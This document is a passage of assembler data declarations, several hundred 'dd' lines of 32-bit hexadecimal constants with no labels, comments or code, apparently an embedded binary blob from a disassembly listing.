dd 2DE2C07Ch, 75C9CED6h, 0AA319E26h, 3730B909h, 24AFD8C8h
dd 571B363h, 89C0D7F9h, 0DCAA9E1h, 0D7BBD786h, 2D9C99Ah
dd 25A8F918h, 51F2B315h, 4A33EB57h, 0CB2E4E85h, 5686B6FEh
dd 578AA9B7h, 0C73F9A7h, 10601B0Ah, 5CEADFC5h, 623D800Dh
dd 0CAAB7853h, 4EB493B1h, 5A643CC5h, 1BF309E1h, 0B156C234h
dd 54C2E835h, 0F8E7D739h, 353C4C04h, 7971C410h, 0ECA8B57Bh
dd 0CBA7D562h, 0B5D2FBA8h, 7051E84Ch, 0EE8D8A55h, 59CE3705h
dd 223E6EE1h, 7C03CA6Eh, 0E1530B43h, 0ECC1878h, 5B6C4EF6h
dd 637E8CB9h, 476A81A7h, 843B50FBh, 0A7F28B99h, 51CCC7C3h
dd 3D1D61E4h, 0C9DF70C6h, 0E1EE5597h, 3093A353h, 83329AE2h
dd 26932B32h, 0F910E2BFh, 95D0D991h, 0B45E22D3h, 0FAC5D1C9h
dd 0CEE541F3h, 0DB9D601Dh, 0C49484D3h, 0A6D06B7Ch, 89565723h
dd 0A591B291h, 0DC552492h, 0FFFDF823h, 0F39C9074h, 0AB3BCCF7h
dd 1D17E012h, 0D68A417h, 2BEF6B18h, 7E2CA3F1h, 0E681BB73h
dd 1C71A266h, 884A8087h, 84C24148h, 2EC88A39h, 152629AAh
dd 3E7976D6h, 0C4670B32h, 8ED744CCh, 0D5B8FB51h, 980D5A4Ah
dd 4A96002Ah, 64B06B8Eh, 0FF0C98DAh, 362576DFh, 0A546DF63h
dd 0E2BBD3F3h, 0CDA82B3h, 442A8649h, 89C7EDB8h, 155E9D81h
dd 0A1774BDCh, 0D0DFB005h, 1DB1CCE8h, 0CE195E97h, 6F0C92Bh
dd 0F81F210Bh, 0E865CB6Fh, 3CE8C31Fh, 3F6790C1h, 0EDCC5233h
dd 0D404A18Eh, 5159DD8Bh, 14C6D785h, 18CA5863h, 68083DFBh
dd 6CA10B12h, 2A084E72h, 0E22251DAh, 3174CA17h, 0B017A28Ch
dd 75999953h, 0A5AAAA95h, 3495DCDh, 0BCD692E8h, 3DA0EFA0h
dd 76EB44ABh, 447E3F35h, 1E052931h, 3640C741h, 8F61E3C5h
dd 0A2C148E9h, 398D8B2Ah, 1DC5A494h, 1E416463h, 0EE9878BCh
dd 0E72B25BDh, 6D4CA605h, 8EC9FEFh, 0CADAC4EFh, 0DB888E0Eh
dd 4DAEB68Ah, 0C19560A0h, 806789E6h, 1B843A3Ch, 5B5557C4h
dd 11C73C15h, 0C6660D75h, 466F8140h, 0FA3D9697h, 4E7228BCh
dd 9DC6FE51h, 0FD5BE350h, 1F98CDEh, 0FC5CB277h, 5AF9D7B4h
dd 74109B9h, 66E22B3Ch, 9E83B41Ch, 57D53FFh, 0B73FBF0h
dd 0CEA66A37h, 0EC678AECh, 6B464534h, 0CF265FF3h, 0F0E0161h
dd 0AB0AF42Eh, 341BEF33h, 0E4020113h, 43B5EDD3h, 938DF382h
dd 83455422h, 0C533F9E6h, 0DE646898h, 3011CD48h, 981A3AB5h
dd 9EF210B4h, 0F17D4388h, 1FEA65A0h, 8DBE0E5Fh, 42CD59DAh
dd 9D36978h, 82AE1514h, 0BD14951Ah, 0E7C8FBA8h, 89ECF0CCh
dd 4CB25702h, 9966352Fh, 1BD55345h, 3F466200h, 8F0DC9D6h
dd 3F0DCC30h, 9F0D9D8Eh, 0D63E218Bh, 58599CE6h, 0F6846ED0h
dd 0B5863F46h, 7FC8387Bh, 0B29E4F7Dh, 95549938h, 0B77D8F60h
dd 0F4A80FF1h, 0A9009D14h, 0F921F33Ch, 22E68DB4h, 7E64086Eh
dd 0EDB03240h, 1E28E93Dh, 6AB75EB2h, 0C2DA4FFCh, 0B8AA9EAh
dd 71DBFF43h, 135735CDh, 8D6A48CAh, 2F6069B3h, 87CEB5CEh
dd 0AF7BC02Bh, 557472E5h, 54C72F7Ah, 0DB88E489h, 0C66CF4B7h
dd 4C12EC09h, 0E24B25E7h, 63135C5Fh, 2087B7E7h, 15169E7Eh
dd 1F802F4h, 0EE2D1B2Fh, 0BD6F51F9h, 27C94105h, 0DC142C64h
dd 42DA407Eh, 65AE28F2h, 28B302B6h, 229DF264h, 68B96E6Fh
dd 79357F82h, 3430D1CCh, 3CE0D892h, 2E983966h, 50275A01h
dd 2763C048h, 0CE75FBB9h, 3C2C355Ah, 0C4449A67h, 7691AF29h
dd 7E6C810Bh, 3DB6F26Eh, 3B470401h, 681EC230h, 577A9A9h
dd 0BB17791Ah, 9970EF1Ch, 5EA9D58Ah, 0AE7D9E3Eh, 87561B31h
dd 0BE08A84Ah, 0D85D7DBh, 77AB6DE5h, 91A770B6h, 14D5BDB9h
dd 9B98F58Eh, 595CFD6h, 0A4BA9262h, 0B260BD84h, 7AE4A8CEh
dd 119156C4h, 0EEBA5B59h, 1A96102h, 38F29D84h, 5960B4D0h
dd 2AAC3828h, 0D36277C2h, 8ADB8EFBh, 302E6CEAh, 67094BB0h
dd 0BA7860FEh, 5AB4BBCCh, 685B9F13h, 358F2D4Dh, 717016AAh
dd 865138ADh, 4F5A84D7h, 0CBC6388h, 1262DB91h, 96E18A7Ah
dd 6DF4AD81h, 3224AF50h, 7A0B9D07h, 5473CC61h, 52CA1903h
dd 89B31C85h, 5E868B4Eh, 0A72D4298h, 0AC65DB30h, 3F56C064h
dd 110E3462h, 4CEDF80Ah, 0A39B93B0h, 0ED1F08A1h, 0C61B9EBEh
dd 0ABB3D617h, 93062C7Ah, 5D0A29A8h, 99341AB2h, 0ABE5DDB2h
dd 0C53B07B7h, 0E2CE3A92h, 94FCFF88h, 0ADD1BD4Bh, 5D45EEB1h
dd 5FB4AA8Bh, 6A412D0Fh, 85CB9D0Eh, 0B3DBCB3Fh, 0EA283DA5h
dd 6C20FB1Ah, 0F0228C7Bh, 9A3D7A41h, 2EB8F74Ch, 9AB27CDAh
dd 42191A9Ch, 0F4994E03h, 51328E39h, 805AA62Bh, 0CD4F4240h
dd 4EDABCC6h, 0EC4EE796h, 31AB6086h, 652B9E4Ch, 0F65F17D3h
dd 0ACC66C30h, 71A64DC6h
dd 3C908525h, 92C71267h, 42C499E4h, 71C326FEh, 8EF499F9h
dd 0EC5DAFEEh, 0C7167766h, 0C9D5EFACh, 7BE53246h, 2D2FC1Dh
dd 63060B40h, 5846A6E4h, 0E1F5D438h, 16B123E6h, 0E316B883h
dd 460827B0h, 8DB90A52h, 0F1CB23DBh, 92889142h, 530E2081h
dd 750123EEh, 0A312022Ah, 1EE3255Ch, 482A4E4Ah, 7D5239h
dd 0BF189FEEh, 2EEE06B6h, 6D350A6Eh, 87256852h, 2DE77437h
dd 0A7DFDC1Fh, 2A8D2519h, 6A10C8C7h, 6358EB69h, 37C4EC91h
dd 1C3ED73Eh, 0A38A0BDFh, 44AE840Ah, 37D567EBh, 26575971h
dd 0D4A60D8Fh, 708A82D0h, 9CF84C03h, 5D7A6C38h, 0D214F0E4h
dd 4BE8AA69h, 62537253h, 0EB44F7C1h, 0CACA6183h, 82E4757Ch
dd 0F24C3232h, 5F515D8Dh, 347F3F3Fh, 0AED66697h, 0DFB5730Fh
dd 5E22DC6Dh, 0A77FA9D4h, 0F2FCD82Bh, 7E00709Fh, 0B2687A13h
dd 0BAA3AF1Ah, 39EE0638h, 0E9EACFC0h, 0EEB0E6AEh, 0D895DA47h
dd 0C75C6548h, 742FC923h, 58D7FA86h, 0E9630F92h, 0EB4C7DF9h
dd 0E662DB2Bh, 974440A9h, 249143D2h, 3F887A0h, 80754473h
dd 6A593C07h, 37978802h, 63B2059h, 4BA8B8B6h, 578BA259h
dd 0A9AC3DFFh, 0F0E549Ch, 988E0D35h, 0E9E110F7h, 0B5212E53h
dd 0E1631A73h, 13308038h, 0BE7DFC3h, 0A442B5E3h, 7FD0B53Ah
dd 9A323290h, 2C11A15Dh, 0B3F07AE4h, 0D4837BA0h, 0D706B35Ah
dd 0C6BF4D4Bh, 0B3AA73EDh, 22334C4Ah, 117C173Fh, 0D8E8A4C2h
dd 6E282EFFh, 2E2490C8h, 3A0EB7CFh, 0AB22BA5h, 0E4B1F6D8h
dd 0F92060C1h, 41EEDE13h, 1DAE2E38h, 721C8E23h, 1B47FE33h
dd 0D179FDD5h, 0F96D4B18h, 0F47F04Ch, 0B0F65F80h, 0E136BAD7h
dd 4EF24AA2h, 1CEA7CFAh, 971BB9B0h, 127A3204h, 52FA6F9Dh
dd 0C81FA1A6h, 1902013Bh, 0F2AE4ACEh, 6522980Eh, 375A55E7h
dd 0ADF74E7h, 273115B6h, 652D1609h, 772745F3h, 0E735FC6Ch
dd 0D8E63EB3h, 85DCD90h, 8AEA8FF1h, 83EE3521h, 89F9C23h
dd 0B7F1D527h, 83C54B79h, 0B593C094h, 0CA2D4570h, 23892FEBh
dd 0B926F1E6h, 0CF57C633h, 0E4AA733Eh, 73DB5B8h, 0A1EA358Ah
dd 0DEB75DB5h, 238A7CE8h, 2992AA4Ah, 0E6F06920h, 0B15E35FEh
dd 0B6DF8FC4h, 4B40C658h, 52A6218Fh, 0ECD0D7F8h, 0BF1E4F76h
dd 3EA740DBh, 7509721Ah, 37D43D0Dh, 0EEDDD509h, 715059CCh
dd 0FCAF3CB8h, 0FDD7F4ECh, 125D461Fh, 0A3E4E9C9h, 0F4B39B85h
dd 7BE6032Ch, 6EFAAECDh, 563164AAh, 517734C9h, 5066A11Eh
dd 88ABA2FBh, 7BEA9B43h, 0C6720775h, 4925995Dh, 5D3833D9h
dd 0E143C877h, 871D399Ah, 4194151Eh, 0E1C02C5Dh, 0A8017332h
dd 0E8907739h, 52E124B4h, 9FDE1036h, 285F9B0Bh, 7BE53D13h
dd 3BEF7B2Bh, 0BB5370FAh, 851BBB67h, 1FCEFED3h, 7E4E7280h
dd 7FB3F327h, 0E3293048h, 0CA4A0872h, 0F08C4A47h, 412FFF5h
dd 5176473Fh, 553B2BF8h, 0F4EB1E9Dh, 169DE3Eh, 0F3838A7Fh
dd 0E2A676CCh, 738FBA14h, 8B9251C3h, 268663F5h, 0DC78753h
dd 6C3F6D89h, 91A7CE4Ah, 0EB14F006h, 7BBE9171h, 92BF98A3h
dd 38B2F6CEh, 80089DA2h, 31FB505Dh, 17EB713Eh, 0A443DE72h
dd 49F79FB1h, 4DF54380h, 176DD2A4h, 0F9D644E9h, 0B43A953Ch
dd 0C4C19EAFh, 1DD8E925h, 0C2386A79h, 42C173A0h, 1EB20C92h
dd 2DFB8A4Ah, 63EF4517h, 77E0C2C7h, 76E98B1Ch, 67FF4506h
dd 4CA5F021h, 2C771BB1h, 5F6AFD8Fh, 3C7214Bh, 34FD54Fh
dd 334F496Ah, 45384B0Ch, 0ECE473F1h, 9EDA4414h, 0B115F48Fh
dd 75B66C69h, 0D98732C0h, 0CA795A6Bh, 0E6CC6AE8h, 7C5BB31h
dd 17BF94B1h, 0F142AD0Ah, 207C3ED7h, 2540F27Bh, 75D78FCCh
dd 0FA8D4A43h, 7BCA2ED9h, 0A1223E48h, 644D8A01h, 77EE956Dh
dd 9269503Dh, 604DDEFAh, 885D2BC0h, 0A7180838h, 0FEF721B2h
dd 0FE02BBDEh, 0DFCC76F1h, 2D0F76FAh, 355D3B3Eh, 9889B6h
dd 65413BA2h, 0B88C5734h, 6E1EEB93h, 51DA3D39h, 62CB8443h
dd 4578FEAFh, 3C9A26DCh, 3B0B32B8h, 3E6C6FCh, 71086B5Bh
dd 4CFEAD15h, 0D7B2CDEh, 0AF5D9DA5h, 2CE6C941h, 44EF1753h
dd 0F1F978FBh, 0DDEA3394h, 261885DAh, 0E096E6Ah, 18B1758Fh
dd 72ACCB13h, 0BDAB953Eh, 646715E9h, 198BB01h, 9498EFDEh
dd 0ECFFC69Fh, 0EE60A294h, 8F0FAD16h, 0C0F95BBBh, 504BE217h
dd 0C237F28Fh, 0D6BD6231h, 0BF14805Fh, 83CDC536h, 0A68D76A3h
dd 4A72306Bh, 6A65C8Ah, 0D522EE53h, 0BB8F5BE7h, 4B27EF59h
dd 0E3BC228Eh, 0E311D726h, 9C23A16Ah, 132E2A88h, 0DBE28143h
dd 0E36D03CFh, 7F0914C2h, 0AF669390h, 7EDD21D8h, 0AE1B0752h
dd 585B13C9h, 3E30C0BEh, 0BE7D0BDCh, 831BD2F9h, 4CD561C2h
dd 0CE13185Ah, 44C5437Ah, 294300E6h, 0D2FB2B2Dh, 0B2CC056Bh
dd 0FAA4AD6Fh, 9BBDE1D1h, 0C531C0D3h, 0A8F47A57h, 598FA6BDh
dd 24EAA595h, 26BD49A5h, 8B249BB4h, 69EDBB7Ch, 154572FBh
dd 4BD01BCDh, 837ECD7Ah, 0C692B882h, 0B826532Ah, 0BAD5447Fh
dd 32A513h, 0AC447805h, 0AB6DA984h, 0A8077B73h, 4DD96CAEh
dd 17A92F2Bh, 7D7C79ECh, 4349B43Dh, 0AD8D6E11h, 0CF7C64E0h
dd 33A2F119h, 0C235D9A2h, 0C95C96B5h, 6D98FC2Dh, 983DC30Bh
dd 2C995B12h, 0D0ED48D9h, 332698B3h, 40596FB5h, 0C140A7BDh
dd 0B5587234h, 8D1064FBh, 0F35C01A8h, 0CCB4C16Ch, 0D04D7F92h
dd 0F9D34BCFh, 0D5D49E33h, 0CDE4A5AAh, 7EC45639h, 155C4631h
dd 0DAF8759h, 770A9656h, 0FAAEB2A8h, 703CC1A3h, 0F3D5899Eh
dd 0B91EC469h, 0A71EB932h, 89530574h, 3A2C63Dh, 7521814h
dd 6E348C4Eh, 7B523CCFh, 38BF83C2h, 0C216311Eh, 0F38F79BBh
dd 0CB582BF5h, 3A9DDCD2h, 37B13DABh, 66CF6DEDh, 4A6C763h
dd 2B3C6CD4h, 4997EEE1h, 2B6F0DE0h, 70FC7FD5h, 95124B54h
dd 7A33BBF4h, 0EC27FBD7h, 0FA85A1E1h, 2223D4B8h, 5EF8C807h
dd 346219C3h, 1553C578h, 0E9628B80h, 97E1E931h, 9F1EB9B9h
dd 0BA12DDF3h, 0B0554595h, 8AFA49D9h, 269AA42h, 16DA3F23h
dd 26BB7825h, 49FEF664h, 7D59E5B8h, 1A2A7DA0h, 962804A5h
dd 0EBBBD64Ch, 49E43600h, 5E72C3C1h, 9FD88D5Eh, 576BE416h
dd 0A60642D1h, 7F536DDFh, 0D2A50E8h, 7657445Eh, 0ECA890FEh
dd 0A3715D5Bh, 2179EEBBh, 578DCFB8h, 0E5589013h, 0E2EF5BF9h
dd 13A8ABEAh, 66FEE0BDh, 4ECA6252h, 590CED38h, 0F462ACC0h
dd 15220018h, 9D500D8Ch, 0CE380B49h, 0D6A613A8h, 0E6E5F6E2h
dd 0D58626BCh, 0DB147C33h, 0A941CEE0h, 1DF69CFh, 516A0021h
dd 9D987EE8h, 0FB62ACF4h, 9BB8253h, 1D295731h, 0A3CD980Eh
dd 3968086Fh, 34F9AA9Bh, 4D3D54A3h, 318A9CC9h, 0C44C972Bh
dd 0A3B4FBCh, 8A804C2h, 0E4EE0F63h, 0D26604A1h, 7A8D0711h
dd 0B062A226h, 39A32852h, 81474D43h, 42456C89h, 0DD81DE39h
dd 0C960433h, 70856756h, 0FC446C93h, 0CFE69EFFh, 8553B48Bh
dd 0CB172F5Dh, 0B917D62Ah, 0F33B7FD1h, 3B6801EFh, 574609Dh
dd 6BDFADF4h, 6823572Ah, 0B86A482h, 0AD63E981h, 2E2ABA2Fh
dd 9FBD16CFh, 76BC9EF3h, 3615F8DAh, 0A3E4B452h, 54DF5557h
dd 9E67CCBAh, 25280E46h, 0BF1E4AFCh, 0CE63EF1Fh, 84822A67h
dd 0B43CEBC4h, 10C2557Dh, 31BFFA9Ah, 0AEADDAD0h, 0BC94E3B6h
dd 0B91ADDE0h, 0EA85C5E0h, 7A277A7Eh, 3014E1ACh, 5065D3ECh
dd 6F06657h, 163B409Ah, 0BF9C0A78h, 2110D7EFh, 0F92C0B05h
dd 93001983h, 21DDB211h, 0A0F2D326h, 0E6D5CC66h, 0D474F45Dh
dd 0C8F0C9BBh, 38E7CF09h
dd 0E7DA54Ch, 0E0522F1Ch, 0FB40766Bh, 0C44EF946h, 7F201C8Bh
dd 57EA45B3h, 332609C7h, 0E1876613h, 4E4C66FCh, 0FCA675AAh
dd 8A2ED47Ah, 3C5E2F14h, 9B1F32C6h, 0E80B0A99h, 1141CC87h
dd 20C09263h, 0ED4ADA49h, 476E7AC5h, 1031724Bh, 5988A2F3h
dd 0EF840D12h, 70B38CD0h, 41A74CFBh, 425D67EFh, 0EBC33538h
dd 0F7C246C7h, 0CC442698h, 5606362Fh, 0FEF5115Ah, 38A7EE14h
dd 0EA3458E8h, 6195BDAh, 4228A130h, 0B18A850Ch, 2B4DE955h
dd 68D135E6h, 0CC96A89Ah, 308CA48Eh, 41A468DBh, 6693DE41h
dd 55548E93h, 0AADE66E9h, 364332F4h, 3F9935E2h, 0F9809278h
dd 0B42707E4h, 100023EBh, 0DAF401h, 44C2496Eh, 0BFC90469h
dd 6A3414EDh, 1D9D6C64h, 3820834Bh, 0A954FD92h, 4895D4CCh
dd 0C23D686Eh, 0F2DA0897h, 3505C9ECh, 0FF59745Fh, 26F15512h
dd 0D958A6CDh, 72C720E8h, 3AD173C6h, 8D1ACDD7h, 0FF8801EBh
dd 943A4D06h, 0CF5DEE3Ch, 61E3E89Fh, 6B8D06Bh, 4B6F2F25h
dd 0A21227E2h, 4AFC397h, 0C1B7471Dh, 8258F68Fh, 0EBD99ECh
dd 0E90B90D2h, 513B5025h, 0B79AE3D0h, 0AAC10110h, 22BA2255h
dd 92F3CA8Ah, 5E9E0E2Fh, 8C3558AAh, 7997C916h, 2B54D2D2h
dd 8E7F42A9h, 0A90E404Dh, 4B1316Eh, 521D0778h, 0A2CF34D9h
dd 0A37E4F88h, 0ECB1040Ch, 0DFA82E4Bh, 3F8D6552h, 4F9A4284h
dd 2825A4ABh, 0D1EE5094h, 704BC9A8h, 98BF33F9h, 0E037426Ah
dd 0B123725Dh, 2D2F7CBDh, 9D15CDA4h, 1387F158h, 0D8075454h
dd 0DD8922C7h, 0C0A43D5Dh, 0BF00BEBFh, 0C5F5BE2Dh, 8DD7AD49h
dd 1F10FA66h, 0E9B63E26h, 0F6B33C26h, 405BC246h, 5177841Ah
dd 3C6D237Ah, 1C4ADD32h, 0EE04AC3Dh, 2661772Bh, 96037F47h
dd 89E0A405h, 0D1AB330Bh, 5205FE47h, 9D151406h, 2A178794h
dd 9F4DB6FEh, 627B3513h, 470938BCh, 9CB350C2h, 0A318EDE6h
dd 2D27F711h, 519A297Fh, 0AE5C8E90h, 6C94919Eh, 0B0F2D88Bh
dd 3E0D58D0h, 0A3FE4E7Ah, 9BFB20B4h, 603387B8h, 0D615A96h
dd 0EA066C68h, 0BA976354h, 0F7A6C4CCh, 111563AEh, 0F5312754h
dd 10B6E755h, 0C0142C67h, 0C94B5210h, 0A4D1AE71h, 4F7E43DDh
dd 7DC7667Ch, 338655ACh, 9FF9AC9Ah, 2A3717BBh, 0D0E17BDh
dd 138EB62h, 0BCAD51A1h, 35DA7F7Fh, 0FF743D2Ch, 7464A415h
dd 98350F43h, 0AE22BFC9h, 540EF63Bh, 0DA8392E2h, 47C7AB79h
dd 0BF655B2Dh, 0F7206DEBh, 4A309893h, 5F068383h, 0B4C9929h
dd 0ABABDF8Bh, 0F5CFAEFDh, 52E7AEDCh, 0D9976CEh, 0D916AFC4h
dd 18B2DB2Dh, 80D51EA4h, 0EE24B5F8h, 2D53D0F2h, 96201BA1h
dd 6EBE9361h, 0ECBA667Bh, 0EC35A061h, 0F3F85A0Ah, 0D4A54A01h
dd 2C8A010Dh, 3CECFF1Fh, 7DBEFE52h, 321EE6B7h, 4FDFFDB2h
dd 7097A3D9h, 54040EDDh, 2061ADAEh, 57E63550h, 0EBAEC5D1h
dd 0DA9B6309h, 0D7CD70B9h, 8DC2AD24h, 5859482Bh, 604B5D44h
dd 0AD060D26h, 0D32BCABh, 35F95D6h, 730C7153h, 0A4310972h
dd 0B5B21A08h, 0B4B2A1CDh, 0D8852060h, 7752EB8Bh, 0B3E45ADCh
dd 0C3E06D9Dh, 0C2893E1Ah, 489F1DF3h, 3990EF03h, 1725503Ah
dd 3064F43Ch, 96F84F8Dh, 0BBCB46D2h, 0D0DF061Fh, 0D6B6BCC1h
dd 17B8DCFAh, 0E51BF8E3h, 0EB827CD1h, 332444ACh, 0CA7E6ECFh
dd 5836D35Eh, 10BE5F96h, 0B4169B15h, 7834BD57h, 0DEE8C073h
dd 0BB45FAC9h, 98874E0Ah, 0FF5DE088h, 44FE43D6h, 9E66EB42h
dd 0E3A176CEh, 12DB2FAFh, 689D5FCDh, 62704CC3h, 0CD47A50Ah
dd 38D6274h, 0F1D25B23h, 8740C0E7h, 965EB5D3h, 57707103h
dd 0DDAF34D7h, 0FF138F08h, 38C530Ch, 0E32CFF70h, 2159E60Fh
dd 363B3BADh, 0F8142DCBh, 620F3213h, 0CA4393D8h, 4BDB82EBh
dd 57562D1Ah, 1303B90Ah, 0C0D2FAA0h, 0C0347477h, 4E056CB9h
dd 16015B53h, 0FEACFD97h, 112CA389h, 0C46FB267h, 0AA18C0A9h
dd 82000FEFh, 6BAE5429h, 2605BA5Eh, 0E470CE64h, 0E2A39D0Ah
dd 8DF1E6Eh, 0F5188FE5h, 194D868Bh, 0DE3FE706h, 2BA9AC6Ch
dd 5C278CEEh, 3B24A6B1h, 0FBE4BD51h, 90AA6988h, 77203BE2h
dd 0F3C706A8h, 5F30D53Ah, 0EBE9C78Eh, 54987C26h, 4CAE6716h
dd 145C00E5h, 0D964574h, 65E0E410h, 0C34BDC1Ah, 0CFB1371Eh
dd 40987071h, 72199094h, 9BEA6EBCh, 61CCBCC6h, 8F5ED683h
dd 301DE7CFh, 0B795E600h, 0D4425072h, 2AA4AD33h, 842E70CEh
dd 0B2F86743h, 0A7B68B92h, 95E78956h, 0D86AEAE6h, 0DD0DE37Ah
dd 0AC8D49B8h, 318F3149h, 0D0F556B1h, 0F5F9C6D5h, 8E4A62D7h
dd 42E95543h, 7C97CF69h, 44274A4Eh, 8F9DCA20h, 0F595E758h
dd 6F2765Ah, 0D9999717h, 769C8DEEh, 0A5C0C68h, 0E847E12Dh
dd 40B2E682h, 6C20433Eh, 0BC7BAE10h, 113FC824h, 4C462EA7h
dd 8A6B8C5Bh, 0CB3C5DE6h, 0E5C43942h, 4A312953h, 56507F65h
dd 874D8C77h, 0DE441A08h, 355260DCh, 4334775h, 0EEBDC3ACh
dd 0B2AFA15Ah, 6D6E0D4Dh, 63F5A531h, 14A3AEBAh, 4DEF26E9h
dd 0D2B195FAh, 18238750h, 7521C074h, 70D18897h, 0B2347844h
dd 5A845D32h, 8239A63Eh, 6A1B9CECh, 0DB09972Ah, 27AB261Ah
dd 87377E61h, 356B358Fh, 6C5CCF58h, 0A8F6D11Fh, 0F44ECAFFh
dd 9B4A3E6Bh, 0EFE2DD7Dh, 51A2E73Eh, 0EB2A5AF3h, 47DDBDBEh
dd 0ED66D9AEh, 356AE3Fh, 0B37E916Fh, 0DBDB8137h, 809B20A8h
dd 0F5D28281h, 4A1FCFF5h, 4A0BEA73h, 0AD7D75C0h, 94AB3761h
dd 382622B0h, 0D4F47996h, 0AEC1FFF1h, 9D5A4D07h, 0B161525h
dd 93E4695h, 88B46B4Dh, 0D9E3D7CCh, 556248A9h, 4B83FB8Ch
dd 43E15347h, 0FE17648Bh, 0AF39F34Bh, 6E6A4CE6h, 873A8E6Bh
dd 8AC7A4A6h, 0F68073E1h, 0BE17C5FDh, 150FFED0h, 510B6151h
dd 51DAC1CEh, 0B221BEE6h, 665A2F9Eh, 61F70B5h, 5BE00D1Ch
dd 0E5B4C094h, 2AFCB4C3h, 4ACE2BD1h, 310C83EDh, 3F23BC65h
dd 96913DCCh, 0B87A5ABDh, 78F25A84h, 0D1B5484Fh, 0A6053112h
dd 8A17B63Ah, 0DD146DC7h, 9CC41709h, 5178A89Eh, 0FD7AB82Bh
dd 0EF47F92Fh, 7B890388h, 0E9B81A92h, 3E986B77h, 0AE3D4A3Eh
dd 3AD1C126h, 658AF9DCh, 0FAFB85DFh, 6DF0A3A0h, 1E36E227h
dd 0B0C6D3FCh, 1B1E421h, 0CCD8B6FCh, 0D34CF0ACh, 7FA6A143h
dd 0F2655841h, 56D09E8Eh, 0FD0EF7A2h, 0DFE99574h, 0F4C5CBFDh
dd 83EC490Eh, 0D72BEA92h, 0FD84E88Fh, 0A942CF48h, 0CB1B90E4h
dd 0A468CD83h, 0E318EA29h, 0CA9699A2h, 0D5D9A651h, 0F3A1A031h
dd 81FB5334h, 942F44E3h, 5B6C73F4h, 945A72E8h, 0EAC8E53Bh
dd 829D8B78h, 57554A35h, 0DD4D309Ah, 7BF48498h, 0A6DBA84Ah
dd 7849DDDAh, 49D7264h, 0AF0E2CD8h, 43028DE8h, 0F03210DDh
dd 2B1B6C89h, 775B2347h, 2E6D3856h, 1B2F5DC3h, 0B6DC74D0h
dd 63CF5D14h, 9E9BE0F7h, 0D03CAB2Dh, 9204D44Eh, 42D7460Eh
dd 295E2454h, 72A7A337h, 37DBF5C6h, 0E9C7F6E0h, 0F1BE2B28h
dd 205CDF73h, 0D316E17h, 6F968EA9h, 6350A76Ah, 0CA576349h
dd 3EB242DFh, 3DAE7536h, 13E96C54h, 0B94C6F17h, 3D733967h
dd 0F1E2252Ch, 757E8159h, 0E115F45Dh, 0FE2BAE8h, 0FA720EF4h
dd 944E79DCh, 0C50175F0h, 281C2CD5h, 457022C6h, 0F72E6885h
dd 0A700B0FBh, 88FC466Eh, 0BDE966E5h, 0DBA2021Ah, 0AF0CEB4Dh
dd 0E54A9D52h, 0CA5ED65Dh, 4DA69650h, 7C264D54h, 3A8E132Dh
dd 8D5D38FBh, 1AE00259h, 9BC38E0Dh, 7043DE45h, 1A17D1E7h
dd 74413F28h, 7CE45B1Fh, 739FC86h, 471F9679h, 659D8CE6h
dd 4430D162h, 0FC400F8Bh
dd 0D3C4B0A0h, 0DB2A5CF3h, 9CE75B93h, 0BD92C385h, 0F056A07h
dd 3B3635ACh, 0BA59D70Dh, 0ED9FAB20h, 30CE9B1Bh, 77461379h
dd 0B38395E0h, 67F45AE0h, 34D8BD9Ch, 0D2A279F3h, 46F2E92Bh
dd 0A9FB1C9Bh, 0EC81C389h, 10C2AEE4h, 950B672Ch, 48364A1Bh
dd 5568516h, 9B687CEFh, 93AE62F3h, 0FEBFE2AAh, 309904FFh
dd 76D5D16Ch, 0DDE2F8Bh, 3D06B924h, 1C710B96h, 0B2F03C40h
dd 7F6F0327h, 962F8EBh, 14566A3h, 68FFCEFAh, 0AB84ACE0h
dd 773912BEh, 55994895h, 9C4A8039h, 0CBCF045Eh, 2A8249DDh
dd 8CDD0CDEh, 0F51DE061h, 0B3FAB370h, 22270AEh, 67DA5FD1h
dd 50C1D9A8h, 71B2D92Ch, 637C6F33h, 0E0B20AF1h, 5A3D8009h
dd 0BF37B243h, 74A047C0h, 42CC9331h, 0C89958D4h, 8333E236h
dd 0AFCCD959h, 54A504C0h, 64B73C07h, 0CAF95E16h, 1250D772h
dd 6DA39644h, 0A6467350h, 0E5855FB9h, 10DF8972h, 4B57961Ch
dd 339E1186h, 0A322C84Ch, 2BB0A916h, 6384C0B6h, 2E109B76h
dd 0ED68BE65h, 0F063B706h, 0F0347CF8h, 0AE593F2Ch, 0E30133DCh
dd 918A4964h, 0D48B5C8Ch, 9ADA07BCh, 36A3DC1Ch, 7A742A5Eh
dd 0ED2E145Ch, 0EA7C8471h, 41DE2688h, 0A92041BDh, 21F1CC5h
dd 55E1911Ah, 0A903734Fh, 9175A9ADh, 0C951CBD3h, 0FA784323h
dd 0B5981032h, 75D70483h, 24F477Bh, 6AC1E74Ch, 8FC13BDBh
dd 30586E21h, 0C49DCE25h, 0EFEABD4Fh, 56176CCh, 98462AA8h
dd 0F4389B5Fh, 0C2122BBBh, 2DCA4FCEh, 1A495649h, 0E07987A2h
dd 0A21FF840h, 9D4B317Ah, 0C5BB2C10h, 1CDA4708h, 0D1B98FE7h
dd 42933EEh, 9D7C31E1h, 0E431263h, 2C3F8909h, 3C96770Eh
dd 0FBE720D3h, 3434F2A7h, 0DFBFEAF2h, 0DE1E45F8h, 0E2CE3309h
dd 23840E5Ch, 0D91C0EB3h, 5F3B2C83h, 0F8B690F5h, 0D38FCDCh
dd 3A7534F1h, 895B518Ch, 5A4D4050h, 9C9B6926h, 555DF759h
dd 0A1A0E78Dh, 0A8949709h, 0E8B2FDCh, 7DB72974h, 0F6F71CC2h
dd 171F5B86h, 42103858h, 0CA80FBD2h, 0FBD141FCh, 4CF28737h
dd 0F090B39Bh, 25DDC95Eh, 0AE03D90h, 0FEF72FA2h, 9AAC0038h
dd 0A357C8Dh, 0BD287D23h, 5D5BEEC7h, 497E6012h, 0B0DC77D9h
dd 9B5470F0h, 1A9C5752h, 0FD2BF665h, 386B6D6Ah, 45D79898h
dd 0FBABA7Ch, 92C5AB5Dh, 302FB18Bh, 0CB35EE6Ch, 19820174h
dd 0AE67868Fh, 58882CA6h, 0AD883B0Fh, 1B265A04h, 928A3F5Bh
dd 945291E8h, 7E7D01Bh, 474A604Fh, 141C77ACh, 726E4270h
dd 0B5ADADCBh, 0E57203E2h, 5F382C3Ah, 0D4DD93FBh, 0BE34D14Eh
dd 0AF28C0Dh, 1DCB3D73h, 6FB6C2Dh, 4099BB40h, 0F7C01604h
dd 5046CE41h, 0C95D7562h, 0A68CCCF7h, 0F9B4197Fh, 39071737h
dd 9B2B562Eh, 0ECA119BBh, 2DF531EDh, 11E7ADECh, 793DF5Bh
